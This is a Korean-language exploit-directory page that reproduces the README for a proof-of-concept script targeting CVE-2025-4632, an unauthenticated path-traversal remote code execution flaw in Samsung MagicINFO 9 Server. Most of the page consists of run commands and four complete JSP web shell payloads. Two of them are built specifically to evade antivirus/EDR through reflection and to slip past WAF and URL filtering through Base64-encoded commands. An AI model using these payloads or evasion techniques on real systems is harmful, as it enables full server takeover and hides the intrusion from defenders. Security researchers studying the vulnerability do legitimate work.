Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-4632_POC — 이 저장소는 CVE-2025-4632에 대한 Python 복제 스크립트를 포함하고 있습니다. 이는 Samsung MagicINFO 9 Server(버전 21.1052 이전)의 인증되지 않은 원격 코드 실행(RCE) 취약점입니다. | Kitploit
도구/GitHubGitHub/digitalsurgn/cve-2025-4632_poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingPayload Development
GitHubdigitalsurgn/cve-2025-4632_poc

CVE-2025-4632_POC

이 저장소는 CVE-2025-4632에 대한 Python 복제 스크립트를 포함하고 있습니다. 이는 Samsung MagicINFO 9 Server(버전 21.1052 이전)의 인증되지 않은 원격 코드 실행(RCE) 취약점입니다.

저장소 보기
114개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Samsung MagicINFO 9 서버 익스플로잇 (CVE-2025-4632)

이 저장소는 CVE-2025-4632에 대한 Python 재현 스크립트를 포함하고 있습니다. 이 취약점은 Samsung MagicINFO 9 Server(버전 21.1052 이전)에서 발견된 인증되지 않은 원격 코드 실행(RCE) 취약점입니다.

취약점은 SWUpdateFileUploader 서블릿에서 경로명에 대한 부적절한 제한으로 인해 발생합니다. 경로 순회(../../)를 이용하여 인증되지 않은 공격자가 SYSTEM 권한으로 임의의 파일을 작성할 수 있으며, 이로 인해 서버가 완전히 손상됩니다.

크레딧 및 감사

  • 최초 발견 및 템플릿 작성자: s4e-io (ProjectDiscovery Nuclei 커뮤니티 (http/cves/2025/CVE-2025-4632.yaml)).
  • 방법론: 이 스크립트는 CVE-2025-4632 Nuclei 템플릿에 정의된 로직을 직접 프로그램 방식으로 구현한 것입니다.

작동 방식

이 스크립트는 합법적인 장치 업데이트 요청을 생성하는 과정을 자동화합니다. fileName 파라미터에 디렉토리 순회 시퀀스를 주입하여 의도된 업로드 디렉토리를 벗어나 웹 루트()에 직접 파일을 작성합니다.

/MagicInfo/

스크립트는 두 단계를 수행합니다:

  1. POST 요청: 순회 경로와 함께 페이로드를 /MagicInfo/servlet/SWUpdateFileUploader로 전송합니다.
  2. GET 요청 (확인): 자동으로 /MagicInfo/<filename>에 업로드된 파일에 접근하여 성공적인 익스플로잇을 확인합니다.

사용법

root@kitploit:~
python exploit_magicinfo.py -t <TARGET_URL> -f <FILENAME> -d <PAYLOAD_DATA>

인수:

  • -t / --target: 대상의 기본 URL (예: http://192.168.1.100:7001).
  • -f / --filename: 생성할 파일의 이름 (예: shell.jsp).
  • -d / --data: 파일에 쓸 원시 내용.

침투 테스트를 위한 페이로드 예제

다음 페이로드는 평가 활동 중 성공적으로 테스트되었습니다. 이들은 엔드포인트 보안 제어를 우회하면서 영향력을 증명하도록 설계되었습니다.

1. 무해한 개념 증명 (영향력 확인)

백신이나 EDR을 트리거하지 않고 JSP 실행을 안전하게 확인하는 데 사용됩니다.

root@kitploit:~
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f poc.jsp -d '<% out.println("JSP Execution Confirmed. System time: " + new java.util.Date()); %>'

접근: http://<target>:7001/MagicInfo/poc.jsp

2. 표준 명령 실행 셸

표준 JSP 웹 셸입니다. 참고: 최신 AV/EDR 솔루션에 의해 발견되어 격리될 수 있으며, 확인 시 404 Not Found가 발생할 수 있습니다.

root@kitploit:~
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f cmd.jsp -d '<%@ page import="java.io.*" %><% String c = request.getParameter("c"); if (c != null) { Process p = Runtime.getRuntime().exec("cmd.exe /c " + c); BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); String l; out.print("<pre>"); while ((l = in.readLine()) != null) { out.println(l); } out.print("</pre>"); } %>'

접근: http://<target>:7001/MagicInfo/cmd.jsp?c=whoami

3. 난독화된 명령 실행 (EDR/AV 우회)

표준 셸이 차단될 때 사용됩니다. 이 페이로드는 Java 리플렉션을 사용하여 정적 분석에서 Runtime.getRuntime().exec 시그니처를 숨깁니다.

root@kitploit:~
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f bypass.jsp -d '<%@ page import="java.io.*" %><% String s1 = "Run"; String s2 = "time"; String s3 = "ex"; String s4 = "ec"; Object rt = Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null); String c = request.getParameter("c"); if(c!=null){Process p = (Process)rt.getClass().getMethod(s3+s4, String.class).invoke(rt, "cmd.exe /c " + c); java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter("\\A"); out.print("<pre>"+(s.hasNext()?s.next():"")+"</pre>");} %>'

접근: http://<target>:7001/MagicInfo/bypass.jsp?c=whoami /all

4. 고급 Base64 난독화 셸 (WAF 및 URL 구문 분석 우회)

복잡한 명령에 강력히 권장: 공백, 백슬래시 또는 특수 문자(예: dir c:\)가 포함된 명령을 실행하려 할 때 400 Bad Request 오류가 발생하면, 서버의 엄격한 URI 검증 또는 WAF가 요청을 차단하는 것입니다.

이 고급 페이로드는 URL에 Base64로 인코딩된 명령을 기대합니다. 서버 측에서 실행 전에 디코딩하여 URL 필터링을 완전히 우회하고 네트워크 모니터로부터 명령을 숨깁니다.

root@kitploit:~
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f b64.jsp -d '<%@ page import="java.io.*,java.util.Base64" %><% String s1="Run";String s2="time";String s3="ex";String s4="ec";Object rt=Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null);String c=request.getParameter("c");if(c!=null){byte[] decodedBytes = Base64.getDecoder().decode(c);String decodedCmd = new String(decodedBytes);Process p=(Process)rt.getClass().getMethod(s3+s4,String.class).invoke(rt,"cmd.exe /c "+decodedCmd);java.util.Scanner s=new java.util.Scanner(p.getInputStream()).useDelimiter("\\A");out.print("<pre>"+(s.hasNext()?s.next():"")+"</pre>");} %>'

사용 예시: 로컬에서 명령을 Base64로 인코딩한 후(예: echo -n "dir c:\" | base64), c 파라미터에 전달합니다.

  • whoami -> d2hvYW1p
    • 접근: http://<target>:7001/MagicInfo/b64.jsp?c=d2hvYW1p
  • tasklist /svc -> dGFza2xpc3QgL3N2Yw==
    • 접근: http://<target>:7001/MagicInfo/b64.jsp?c=dGFza2xpc3QgL3N2Yw==
  • dir c:\ -> ZGlyIGM6XA==
    • 접근: http://<target>:7001/MagicInfo/b64.jsp?c=ZGlyIGM6XA==

면책 조항: 이 스크립트는 교육 및 승인된 침투 테스트 목적으로만 사용됩니다.

도구 다운로드